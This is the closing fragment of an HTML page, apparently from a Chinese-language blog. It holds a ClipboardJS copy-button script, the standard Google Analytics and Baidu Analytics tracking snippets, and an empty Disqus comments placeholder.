    $(".highlight table").before(btn);
    var clip = new ClipboardJS('.btn-copy', {
      text: function(trigger) {
        return Array.from(trigger.nextElementSibling.querySelectorAll('.code')).reduce((str,it)=>str+it.innerText+'\n','')
      }
    });
    clip.on('success', function(e) {
      e.trigger.setAttribute('aria-label', "复制成功!");
      e.clearSelection();
    })
  })
  </script>


<script src="/js/main.js"></script>

<!-- search -->

<!-- Google Analytics -->

    <script type="text/javascript">
        (function(i,s,o,g,r,a,m) {i['GoogleAnalyticsObject']=r;i[r]=i[r]||function() {
        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
        ga('create', 'UA-84578611-1', 'auto');
        ga('send', 'pageview');
    </script>

<!-- Baidu Analytics -->

    <script type="text/javascript">
        var _hmt = _hmt || [];
        (function() {
            var hm = document.createElement("script");
            hm.src = "https://hm.baidu.com/hm.js?2e6da3c375c789455b664cea6d4cb29c";
            var s = document.getElementsByTagName("script")[0];
            s.parentNode.insertBefore(hm, s);
        })();
    </script>

<!-- Disqus Comments -->


</body>
</html>
